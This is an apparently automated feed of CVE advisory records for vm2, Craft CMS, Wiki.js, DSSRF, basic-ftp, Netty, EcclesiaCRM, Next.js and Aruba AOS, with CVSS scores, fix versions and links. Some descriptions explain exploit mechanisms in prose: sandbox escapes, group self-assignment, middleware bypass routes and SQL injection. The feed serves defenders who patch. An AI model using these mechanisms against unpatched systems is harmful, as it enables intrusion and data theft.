NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes. This vulnerability is fixed in 3.11.0.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### vm2 is an open source vm/sandbox for Node.js.
https://kevwire.com/record/CVE-2026-44007
vm2 is an open source vm/sandbox for Node.js. (May 13, 2026).
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.1, when a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised. This vulnerability is fixed in 3.11.1.
CVSS 9.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44007).
Sources:
NVD CVE-2026-44007: https://nvd.nist.gov/vuln/detail/CVE-2026-44007
Vendor advisory (via NVD references): https://github.com/patriksimek/vm2/security/advisories/GHSA-8hg8-63c5-gwmx
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.1, when a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised. This vulnerability is fixed in 3.11.1.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### vm2 is an open source vm/sandbox for Node.js.
https://kevwire.com/record/CVE-2026-44008
vm2 is an open source vm/sandbox for Node.js. (May 13, 2026).
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2, the new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.2.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44008).
Sources:
NVD CVE-2026-44008: https://nvd.nist.gov/vuln/detail/CVE-2026-44008
Vendor advisory (via NVD references): https://github.com/patriksimek/vm2/security/advisories/GHSA-9qj6-qjgg-37qq
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2, the new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.2.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Craft CMS is a content management system (CMS).
https://kevwire.com/record/CVE-2026-44010
Craft CMS is a content management system (CMS). (May 12, 2026).
Craft CMS is a content management system (CMS). From 4.0.0 to before 4.17.12 and 5.9.18, the GraphQL Address element resolver (src/gql/resolvers/elements/Address.php) performs no schema scope filtering on top-level queries. A GraphQL API token scoped to a single low-privilege user group can read every address in the system, including addresses belonging to users in groups the token has no authorization to access. This exposes PII, including full names, addresses, organizations, tax IDs, etc. This vulnerability is fixed in 4.17.12 and 5.9.18.
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44010).
Sources:
NVD CVE-2026-44010: https://nvd.nist.gov/vuln/detail/CVE-2026-44010
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
Craft CMS is a content management system (CMS). From 4.0.0 to before 4.17.12 and 5.9.18, the GraphQL Address element resolver (src/gql/resolvers/elements/Address.php) performs no schema scope filtering on top-level queries. A GraphQL API token scoped to a single low-privilege user group can read every address in the system, including addresses belonging to users in groups the token has no authorization to access. This exposes PII, including full names, addresses, organizations, tax IDs, etc. This vulnerability is fixed in 4.17.12 and 5.9.18.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Craft CMS is a content management system (CMS).
https://kevwire.com/record/CVE-2026-44011
Craft CMS is a content management system (CMS). (May 12, 2026).
Craft CMS is a content management system (CMS). From 4.0.0 to before 4.17.12 and 5.9.18, Craft CMS which contains an input-handling flaw in a Yii object creation path that let any authenticated user inject malicious configuration and execute arbitrary commands on the server. The request-controlled condition field layouts data is converted into a live FieldLayout object without a Component::cleanseConfig() boundary. Because Craft configures models before parent::__construct(), attacker-controlled special config keys can take effect during object creation, and FieldLayout initialization then triggers a same-request event. This vulnerability is fixed in 4.17.12 and 5.9.18.
CVSS 8.6 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44011).
Sources:
NVD CVE-2026-44011: https://nvd.nist.gov/vuln/detail/CVE-2026-44011
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
Craft CMS is a content management system (CMS). From 4.0.0 to before 4.17.12 and 5.9.18, Craft CMS which contains an input-handling flaw in a Yii object creation path that let any authenticated user inject malicious configuration and execute arbitrary commands on the server. The request-controlled condition field layouts data is converted into a live FieldLayout object without a Component::cleanseConfig() boundary. Because Craft configures models before parent::__construct(), attacker-controlled special config keys can take effect during object creation, and FieldLayout initialization then triggers a same-request event. This vulnerability is fixed in 4.17.12 and 5.9.18.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Craft CMS is a content management system (CMS).
https://kevwire.com/record/CVE-2026-44012
Craft CMS is a content management system (CMS). (May 12, 2026).
Craft CMS is a content management system (CMS). From 5.0.0-RC1 to before 5.9.18, AssetsController::actionShowInFolder() fetches an asset by ID and returns its filename and complete folder hierarchy (including volume handle, volume UID, folder names, folder UIDs, and folder URI paths) without checking whether the requesting user has viewAssets or viewPeerAssets permission on the asset’s volume. Any authenticated CP user — even one with zero volume permissions — can enumerate asset filenames and the full folder structure of any volume by supplying arbitrary asset IDs. This vulnerability is fixed in 5.9.18.
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44012).
Sources:
NVD CVE-2026-44012: https://nvd.nist.gov/vuln/detail/CVE-2026-44012
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
Craft CMS is a content management system (CMS). From 5.0.0-RC1 to before 5.9.18, AssetsController::actionShowInFolder() fetches an asset by ID and returns its filename and complete folder hierarchy (including volume handle, volume UID, folder names, folder UIDs, and folder URI paths) without checking whether the requesting user has viewAssets or viewPeerAssets permission on the asset’s volume. Any authenticated CP user — even one with zero volume permissions — can enumerate asset filenames and the full folder structure of any volume by supplying arbitrary asset IDs. This vulnerability is fixed in 5.9.18.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Wiki.js is an open source wiki app built on Node.js.
https://kevwire.com/record/CVE-2026-44224
Wiki.js is an open source wiki app built on Node.js. (May 12, 2026).
Wiki.js is an open source wiki app built on Node.js. Prior to 2.5.313, the users.update GraphQL mutation accepts an arbitrary groups array and applies it directly to the database with no validation of the group IDs supplied. The resolver passes the caller's arguments straight to the model without any ownership check or restriction on which groups can be assigned. A user with manage:users — a permission typically delegated to wiki moderators for account management — can set groups:[1] on their own account to self-assign to the Administrators group. After re-authentication, the fresh JWT carries manage:system, granting full site administrator access in a single mutation call. This vulnerability is fixed in 2.5.313.
CVSS 8.6 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44224).
Sources:
NVD CVE-2026-44224: https://nvd.nist.gov/vuln/detail/CVE-2026-44224
Vendor advisory (via NVD references): https://github.com/requarks/wiki/security/advisories/GHSA-cq3g-mwrg-v2rv
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
Wiki.js is an open source wiki app built on Node.js. Prior to 2.5.313, the users.update GraphQL mutation accepts an arbitrary groups array and applies it directly to the database with no validation of the group IDs supplied. The resolver passes the caller's arguments straight to the model without any ownership check or restriction on which groups can be assigned. A user with manage:users — a permission typically delegated to wiki moderators for account management — can set groups:[1] on their own account to self-assign to the Administrators group. After re-authentication, the fresh JWT carries manage:system, granting full site administrator access in a single mutation call. This vulnerability is fixed in 2.5.313.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### DSSRF is a Node.js library that provides a wide range of utilities and advanced SSRF defense checks.
https://kevwire.com/record/CVE-2026-44232
DSSRF is a Node.js library that provides a wide range of utilities and advanced SSRF defense checks. (May 12, 2026).
DSSRF is a Node.js library that provides a wide range of utilities and advanced SSRF defense checks. Prior to 1.0.3, every IPv6 category bypasses is_url_safe. This vulnerability is fixed in 1.0.3.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44232).
Sources:
NVD CVE-2026-44232: https://nvd.nist.gov/vuln/detail/CVE-2026-44232
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
DSSRF is a Node.js library that provides a wide range of utilities and advanced SSRF defense checks. Prior to 1.0.3, every IPv6 category bypasses is_url_safe. This vulnerability is fixed in 1.0.3.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### basic-ftp is an FTP client for Node.js.
https://kevwire.com/record/CVE-2026-44240
basic-ftp is an FTP client for Node.js. (May 12, 2026).
basic-ftp is an FTP client for Node.js. Prior to 5.3.1, basic-ftp is vulnerable to client-side denial of service when parsing FTP control-channel multiline responses. A malicious or compromised FTP server can send an unterminated multiline response during the initial FTP banner phase, before authentication. The client keeps appending attacker-controlled data into FtpContext._partialResponse and repeatedly reparses the accumulated buffer without enforcing a maximum control response size. As a result, an application using basic-ftp can remain stuck in connect() while memory and CPU usage grow under attacker-controlled input. This can lead to process-level denial of service, container OOM kills, worker restarts, queue backlog, or service degradation in applications that automatically connect to FTP endpoints. This vulnerability is fixed in 5.3.1.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44240).
Sources:
NVD CVE-2026-44240: https://nvd.nist.gov/vuln/detail/CVE-2026-44240
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
basic-ftp is an FTP client for Node.js. Prior to 5.3.1, basic-ftp is vulnerable to client-side denial of service when parsing FTP control-channel multiline responses. A malicious or compromised FTP server can send an unterminated multiline response during the initial FTP banner phase, before authentication. The client keeps appending attacker-controlled data into FtpContext._partialResponse and repeatedly reparses the accumulated buffer without enforcing a maximum control response size. As a result, an application using basic-ftp can remain stuck in connect() while memory and CPU usage grow under attacker-controlled input. This can lead to process-level denial of service, container OOM kills, worker restarts, queue backlog, or service degradation in applications that automatically connect to FTP endpoints. This vulnerability is fixed in 5.3.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Netty is an asynchronous, event-driven network application framework.
https://kevwire.com/record/CVE-2026-44248
Netty is an asynchronous, event-driven network application framework. (May 13, 2026).
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, the MQTT 5 header Properties section is parsed and buffered before any message size limit is applied. Specifically, in MqttDecoder, the decodeVariableHeader() method is called before the bytesRemainingBeforeVariableHeader > maxBytesInMessage check. The decodeVariableHeader() can call other methods which will call decodeProperties(). Effectively, Netty does not apply any limits to the size of the properties being decoded. Additionally, because MqttDecoder extends ReplayingDecoder, Netty will repeatedly re-parse the enormous Properties sections and buffer the bytes in memory, until the entire thing parses to completion. This can cause high resource usage in both CPU and memory. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
CVSS 5.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44248).
Sources:
NVD CVE-2026-44248: https://nvd.nist.gov/vuln/detail/CVE-2026-44248
Vendor advisory (via NVD references): https://github.com/netty/netty/security/advisories/GHSA-jfg9-48mv-9qgx
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, the MQTT 5 header Properties section is parsed and buffered before any message size limit is applied. Specifically, in MqttDecoder, the decodeVariableHeader() method is called before the bytesRemainingBeforeVariableHeader > maxBytesInMessage check. The decodeVariableHeader() can call other methods which will call decodeProperties(). Effectively, Netty does not apply any limits to the size of the properties being decoded. Additionally, because MqttDecoder extends ReplayingDecoder, Netty will repeatedly re-parse the enormous Properties sections and buffer the bytes in memory, until the entire thing parses to completion. This can cause high resource usage in both CPU and memory. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### EcclesiaCRM is CRM Software for church management.
https://kevwire.com/record/CVE-2026-44418
EcclesiaCRM is CRM Software for church management. (May 13, 2026).
EcclesiaCRM is CRM Software for church management. In 8.0.0 and earlier, the ValidateInput() function's default case in EcclesiaCRM's query view passes user-supplied POST parameters directly into SQL queries via str_replace without any sanitization, enabling SQL injection through query parameters that use non-standard validation types. This is caused by an incomplete fix for CVE-2026-35184.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44418).
Sources:
NVD CVE-2026-44418: https://nvd.nist.gov/vuln/detail/CVE-2026-44418
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
EcclesiaCRM is CRM Software for church management. In 8.0.0 and earlier, the ValidateInput() function's default case in EcclesiaCRM's query view passes user-supplied POST parameters directly into SQL queries via str_replace without any sanitization, enabling SQL injection through query parameters that use non-standard validation types. This is caused by an incomplete fix for CVE-2026-35184.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Next.js is a React framework for building full-stack web applications.
https://kevwire.com/record/CVE-2026-44573
Next.js is a React framework for building full-stack web applications. (May 13, 2026).
Next.js is a React framework for building full-stack web applications. From 12.2.0 to before 15.5.16 and 16.2.5, Applications using the Pages Router with i18n configured and middleware/proxy-based authorization can allow unauthorized access to protected page data through locale-less /_next/data/<buildId>/<page>.json requests. In affected configurations, middleware does not run for the unprefixed data route, allowing an attacker to retrieve SSR JSON for protected pages without passing the intended authorization checks. This vulnerability is fixed in 15.5.16 and 16.2.5.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44573).
Sources:
NVD CVE-2026-44573: https://nvd.nist.gov/vuln/detail/CVE-2026-44573
Vendor advisory (via NVD references): https://github.com/vercel/next.js/security/advisories/GHSA-36qx-fr4f-26g5
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
Next.js is a React framework for building full-stack web applications. From 12.2.0 to before 15.5.16 and 16.2.5, Applications using the Pages Router with i18n configured and middleware/proxy-based authorization can allow unauthorized access to protected page data through locale-less /_next/data/<buildId>/<page>.json requests. In affected configurations, middleware does not run for the unprefixed data route, allowing an attacker to retrieve SSR JSON for protected pages without passing the intended authorization checks. This vulnerability is fixed in 15.5.16 and 16.2.5.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Next.js is a React framework for building full-stack web applications.
https://kevwire.com/record/CVE-2026-44574
Next.js is a React framework for building full-stack web applications. (May 13, 2026).
Next.js is a React framework for building full-stack web applications. From 15.4.0 to before 15.5.16 and 16.2.5, applications that rely on middleware to protect dynamic routes can be vulnerable to authorization bypass. In affected deployments, specially crafted query parameters can alter the dynamic route value seen by the page while leaving the visible path unchanged, which can allow protected content to be rendered without passing the expected middleware check. This vulnerability is fixed in 15.5.16 and 16.2.5.
CVSS 8.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44574).
Sources:
NVD CVE-2026-44574: https://nvd.nist.gov/vuln/detail/CVE-2026-44574
Vendor advisory (via NVD references): https://github.com/vercel/next.js/security/advisories/GHSA-492v-c6pp-mqqv
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
Next.js is a React framework for building full-stack web applications. From 15.4.0 to before 15.5.16 and 16.2.5, applications that rely on middleware to protect dynamic routes can be vulnerable to authorization bypass. In affected deployments, specially crafted query parameters can alter the dynamic route value seen by the page while leaving the visible path unchanged, which can allow protected content to be rendered without passing the expected middleware check. This vulnerability is fixed in 15.5.16 and 16.2.5.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Next.js is a React framework for building full-stack web applications.
https://kevwire.com/record/CVE-2026-44575
Next.js is a React framework for building full-stack web applications. (May 13, 2026).
Next.js is a React framework for building full-stack web applications. From 15.2.0 to before 15.5.16 and 16.2.5, App Router applications that rely on middleware or proxy-based checks for authorization can allow unauthorized access through transport-specific route variants used for segment prefetching. In affected configurations, specially crafted .rsc and segment-prefetch URLs can resolve to the same page without being matched by the intended middleware rule, which can allow protected content to be reached without the expected authorization check. This vulnerability is fixed in 15.5.16 and 16.2.5.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44575).
Sources:
NVD CVE-2026-44575: https://nvd.nist.gov/vuln/detail/CVE-2026-44575
Vendor advisory (via NVD references): https://github.com/vercel/next.js/security/advisories/GHSA-267c-6grr-h53f
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
Next.js is a React framework for building full-stack web applications. From 15.2.0 to before 15.5.16 and 16.2.5, App Router applications that rely on middleware or proxy-based checks for authorization can allow unauthorized access through transport-specific route variants used for segment prefetching. In affected configurations, specially crafted .rsc and segment-prefetch URLs can resolve to the same page without being matched by the intended middleware rule, which can allow protected content to be reached without the expected authorization check. This vulnerability is fixed in 15.5.16 and 16.2.5.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Next.js is a React framework for building full-stack web applications.
https://kevwire.com/record/CVE-2026-44577
Next.js is a React framework for building full-stack web applications. (May 13, 2026).
Next.js is a React framework for building full-stack web applications. From 10.0.0 to before 15.5.16 and 16.2.5, when self-hosting Next.js with the default image loader, the Image Optimization API fetches local images entirely into memory without enforcing a maximum size limit. An attacker could cause out-of-memory conditions by requesting large local assets from the /_next/image endpoint that match the images.localPatterns configuration (by default, all patterns are allowed). This vulnerability is fixed in 15.5.16 and 16.2.5.
CVSS 5.9 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44577).
Sources:
NVD CVE-2026-44577: https://nvd.nist.gov/vuln/detail/CVE-2026-44577
Vendor advisory (via NVD references): https://github.com/vercel/next.js/security/advisories/GHSA-h64f-5h5j-jqjh
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
Next.js is a React framework for building full-stack web applications. From 10.0.0 to before 15.5.16 and 16.2.5, when self-hosting Next.js with the default image loader, the Image Optimization API fetches local images entirely into memory without enforcing a maximum size limit. An attacker could cause out-of-memory conditions by requesting large local assets from the /_next/image endpoint that match the images.localPatterns configuration (by default, all patterns are allowed). This vulnerability is fixed in 15.5.16 and 16.2.5.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating...
https://kevwire.com/record/CVE-2026-44859
Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating... (May 12, 2026).
Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating Systems. An authenticated attacker with administrative privileges could exploit these vulnerabilities by sending specially crafted requests to the affected services. Successful exploitation could allow the attacker to execute arbitrary code with elevated privileges on the underlying operating system.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44859).
Sources:
